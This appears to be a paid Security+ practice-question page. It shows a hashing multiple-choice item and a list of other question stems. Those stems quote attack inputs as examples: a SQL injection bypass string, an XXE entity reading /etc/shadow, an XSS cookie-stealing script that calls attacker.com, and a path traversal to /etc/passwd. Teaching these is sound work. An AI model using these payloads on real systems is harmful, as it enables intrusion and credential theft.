A supervisor tests your knowledge of cryptographic hashing. Which answer is best?
Answers
Aalways produces a unique result with no collision possibility
Bis normally reversed with a decryption key
Cproduces a fixed-length digest designed to be one-way
Dis a lossless compression format
The answer and explanation are in the full bank.
This question is one of 2,831 in the paid banks. Each comes with the correct answer and the reasoning behind it, not just a mark.
Unlock for 5,000 RWFMIFOTRA exam practicealigned to CompTIA Security+ SY0-701·4 marks·Hard
More Cybersecurity questions
- A developer discovers that entering `' OR 1=1 --` into a web portal's login field bypasses authentication entirely. This is an example of...
- An application parsing uploaded XML invoices fails to disable external entity processing. An attacker uploads a crafted XML file containing `<!ENTITY xxe SYSTEM "file:///etc/shadow">` to steal passwords. This is...
- A web application uses a vulnerable third-party library to process images. An attacker submits an image containing malicious code that executes on the server. The failure to validate the library represents a...
- A user posts a comment on a blog containing `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>`. When other users view the comment, their session IDs are stolen. This is...
- An attacker tricks an authenticated user into clicking a link that secretly submits a password change request to a banking site where the user is currently logged in. The site accepts it. This attack is...
- A legacy C application crashes when a user inputs a string of 150 A's into a field designed for a 20-character last name. The attacker can use this to execute arbitrary shellcode. This describes a...
- An attacker modifies a URL parameter from `download.php?file=report.pdf` to `download.php?file=../../../../etc/passwd` and successfully retrieves a sensitive system file. This is an example of...
- A customer logs into an e-commerce site and notices their user profile URL is `profile.php?id=1045`. They change the 1045 to 1046 and view another customer's private billing details. This vulnerability is...